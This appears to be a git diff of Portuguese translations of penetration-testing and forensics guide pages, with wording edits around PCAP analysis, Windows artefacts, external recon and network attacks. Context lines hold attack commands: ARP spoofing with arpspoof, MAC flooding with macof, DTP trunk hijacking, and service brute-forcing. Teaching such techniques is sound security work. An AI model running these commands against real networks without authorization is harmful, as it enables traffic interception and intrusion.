|
||||
|
||||
Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
|
||||
|
||||
@ -212,7 +212,7 @@ file-data-carving-recovery-tools.md
|
||||
### Carving de Fluxo de Dados
|
||||
|
||||
Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informação.\
|
||||
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica buscará URLs.
|
||||
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá buscar por URLs.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
|
||||
@ -3,14 +3,14 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais novo e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, a fim de trabalhá-lo em algumas outras ferramentas.
|
||||
> Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais novo e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, a fim de trabalhar com ele em algumas outras ferramentas.
|
||||
|
||||
## Ferramentas online para pcaps
|
||||
|
||||
- Se o cabeçalho do seu pcap estiver **quebrado**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
- Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
- Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
|
||||
- Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
- **Análise completa de pcap do navegador em** [**https://apackets.com/**](https://apackets.com/)
|
||||
- **Análise completa de pcap a partir do navegador em** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Extrair Informações
|
||||
|
||||
@ -29,9 +29,9 @@ wireshark-tricks.md
|
||||
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
Análise de pcap do navegador.
|
||||
Análise de pcap a partir do navegador.
|
||||
|
||||
### Xplico Framework
|
||||
### Framework Xplico
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todo o conteúdo HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
|
||||
|
||||
@ -104,7 +104,7 @@ apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Verificar pcap**
|
||||
**Verifique pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Notificações do Windows 10
|
||||
|
||||
No caminho `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o Aniversário do Windows).
|
||||
No caminho `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o aniversário do Windows).
|
||||
|
||||
Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification` com todas as notificações (em formato XML) que podem conter dados interessantes.
|
||||
|
||||
@ -248,17 +248,17 @@ Algumas ferramentas são úteis para analisar os arquivos de registro:
|
||||
|
||||
### Recuperando Elemento Excluído
|
||||
|
||||
Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que ocupa seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
|
||||
Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
|
||||
|
||||
### Último Tempo de Escrita
|
||||
|
||||
Cada Key-Value contém um **timestamp** indicando a última vez que foi modificado.
|
||||
Cada Par-Chave contém um **timestamp** indicando a última vez que foi modificado.
|
||||
|
||||
### SAM
|
||||
|
||||
O arquivo/hive **SAM** contém os **usuários, grupos e hashes de senhas dos usuários** do sistema.
|
||||
|
||||
Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, o último login, o último logon falhado, o contador de logins, a política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**.
|
||||
Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último logon falhado, contador de logins, política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**.
|
||||
|
||||
### Entradas Interessantes no Registro do Windows
|
||||
|
||||
@ -275,13 +275,13 @@ Em [este post](https://jonahacks.medium.com/investigating-common-windows-process
|
||||
|
||||
### Aplicativos Recentes do Windows
|
||||
|
||||
Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps` você pode subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado, e **número de vezes** que foi lançado.
|
||||
Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps` você pode subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi iniciado.
|
||||
|
||||
### BAM (Moderador de Atividade em Segundo Plano)
|
||||
|
||||
Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar as informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro).
|
||||
|
||||
### Windows Prefetch
|
||||
### Prefetch do Windows
|
||||
|
||||
Prefetching é uma técnica que permite que um computador **busque silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente.
|
||||
|
||||
@ -297,9 +297,9 @@ Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](ht
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Superfetch
|
||||
### Superprefetch
|
||||
|
||||
**Superfetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
|
||||
**Superprefetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
|
||||
Este serviço gerará arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
Nestes bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **períodos** e **timestamps**.
|
||||
@ -349,7 +349,7 @@ Para analisar as informações armazenadas, a ferramenta [**AppCompatCacheParser
|
||||
|
||||
O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicativos que foram executados em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Este arquivo é notável por armazenar registros de processos recentemente executados, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema.
|
||||
Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema.
|
||||
|
||||
Para extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O seguinte comando é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e gerar os resultados em formato CSV:
|
||||
```bash
|
||||
@ -464,7 +464,7 @@ Os detalhes do evento, incluindo códigos de status e substatus, fornecem mais i
|
||||
|
||||
### Recuperando Eventos do Windows
|
||||
|
||||
Para aumentar as chances de recuperar Eventos do Windows deletados, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
|
||||
Para aumentar as chances de recuperar Eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
|
||||
|
||||
### Identificando Ataques Comuns via Eventos do Windows
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@ Primeiramente, precisamos saber quais **outras empresas são propriedade da empr
|
||||
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
|
||||
Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
|
||||
|
||||
> Ok, neste ponto você deve conhecer todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
|
||||
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
@ -58,7 +58,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt
|
||||
|
||||
Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, pode lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\
|
||||
Além disso, você pode lançar alguns [**scans de porta**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que você encontrar, deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\
|
||||
**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário **e** senhas **padrão e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domínios
|
||||
|
||||
@ -66,7 +66,7 @@ Além disso, você pode lançar alguns [**scans de porta**](../pentesting-networ
|
||||
|
||||
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
|
||||
|
||||
Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
|
||||
### **DNS Reverso**
|
||||
|
||||
@ -90,7 +90,7 @@ Você pode usar ferramentas online como:
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita.
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**)
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
|
||||
|
||||
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\
|
||||
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
|
||||
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -150,7 +150,7 @@ Pesquise nas páginas da web **strings que podem ser compartilhadas entre difere
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
|
||||
renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
|
||||
Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Informações de Mail DMARC
|
||||
@ -175,11 +175,11 @@ Você poderia acessar o **certificado TLS** da página principal, obter o **nome
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível.
|
||||
|
||||
### **Procurando vulnerabilidades**
|
||||
|
||||
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
|
||||
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
|
||||
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
|
||||
_Observe que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
@ -191,7 +191,7 @@ _Observe que às vezes o domínio está hospedado dentro de um IP que não é co
|
||||
É hora de encontrar todos os possíveis subdomínios de cada domínio encontrado.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que algumas das ferramentas e técnicas para encontrar domínios também podem ajudar a encontrar subdomínios.
|
||||
> Observe que algumas das ferramentas e técnicas para encontrar domínios também podem ajudar a encontrar subdomínios
|
||||
|
||||
### **DNS**
|
||||
|
||||
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um determinado domínio.
|
||||
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -323,7 +323,7 @@ Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [ht
|
||||
|
||||
Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
|
||||
|
||||
Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
|
||||
Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
|
||||
|
||||
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
@ -435,10 +435,10 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||
#https://github.com/codingo/VHostScan
|
||||
VHostScan -t example.com
|
||||
```
|
||||
> [!DICA]
|
||||
> [!TIP]
|
||||
> Com esta técnica, você pode até conseguir acessar endpoints internos/ocultos.
|
||||
|
||||
### **Força Bruta de CORS**
|
||||
### **CORS Brute Force**
|
||||
|
||||
Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
|
||||
```bash
|
||||
@ -447,7 +447,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
### **Buckets Brute Force**
|
||||
|
||||
Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Além disso, como neste ponto você já conhecerá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
Além disso, como neste ponto você já saberá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **Monitorização**
|
||||
|
||||
@ -456,9 +456,9 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se o **subdomínio** estiver apontando para algum **S3 bucket**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste **livro algumas dicas para "atacá-los"**.\
|
||||
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Observe que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
|
||||
## IPs
|
||||
@ -482,7 +482,7 @@ Você também pode verificar domínios apontando para um endereço IP específic
|
||||
|
||||
> Encontramos todas as empresas e seus ativos e sabemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
|
||||
|
||||
Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
|
||||
Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
|
||||
|
||||
Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
|
||||
|
||||
@ -502,7 +502,7 @@ Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyebal
|
||||
|
||||
## Ativos de Nuvem Pública
|
||||
|
||||
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoeda, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
|
||||
|
||||
@ -570,9 +570,9 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
|
||||
|
||||
### Dorks do Google
|
||||
|
||||
Dorks do Google antigos, mas valiosos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
Dorks do Google, embora antigos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
|
||||
_Nota que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá te bloquear muito em breve._
|
||||
_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá bloquear você muito em breve._
|
||||
|
||||
### **Procurando vulnerabilidades**
|
||||
|
||||
@ -605,7 +605,7 @@ Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanne
|
||||
Então você já:
|
||||
|
||||
1. Encontrou todas as **empresas** dentro do escopo
|
||||
2. Encontrou todos os **ativos** pertencentes às empresas (e realizou alguns scans de vulnerabilidades se estiver no escopo)
|
||||
2. Encontrou todos os **ativos** pertencentes às empresas (e realizou alguns scans de vulnerabilidade se estiver no escopo)
|
||||
3. Encontrou todos os **domínios** pertencentes às empresas
|
||||
4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?)
|
||||
5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo.
|
||||
@ -616,7 +616,7 @@ Então você já:
|
||||
|
||||
## **Ferramentas Automáticas de Recon Completo**
|
||||
|
||||
Existem várias ferramentas disponíveis que realizarão parte das ações propostas contra um determinado escopo.
|
||||
Existem várias ferramentas por aí que realizarão parte das ações propostas contra um determinado escopo.
|
||||
|
||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
||||
@ -29,15 +29,15 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
|
||||
```
|
||||
Você também pode realizar esta etapa com `nmap`, mas é mais lento e de certa forma `nmap` tem problemas para identificar hosts ativos.
|
||||
|
||||
### Descoberta de Porta HTTP
|
||||
### Descoberta de Portas HTTP
|
||||
|
||||
Esta é apenas uma descoberta de porta TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
|
||||
Esta é apenas uma descoberta de portas TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### Descoberta de Porta UDP
|
||||
|
||||
Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
|
||||
Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
@ -170,14 +170,12 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
### Evasão de IDS e IPS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ids-evasion.md
|
||||
{{#endref}}
|
||||
|
||||
### **Mais opções do nmap**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nmap-summary-esp.md
|
||||
{{#endref}}
|
||||
@ -194,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Com sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
|
||||
Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
|
||||
|
||||
Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
|
||||
|
||||
@ -248,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - Transbordo de CAM
|
||||
|
||||
Transborde a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (transmitindo todo o tráfego).
|
||||
Transborde a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (broadcasting todo o tráfego).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -260,7 +258,7 @@ Em switches modernos, essa vulnerabilidade foi corrigida.
|
||||
|
||||
O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
|
||||
|
||||
Por padrão, as portas dos switches são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN configurando interfaces virtuais.
|
||||
Por padrão, as portas do switch são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais.
|
||||
|
||||
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Default, Trunk, Dynamic, Auto ou Access—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
|
||||
|
||||
@ -281,7 +279,7 @@ Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
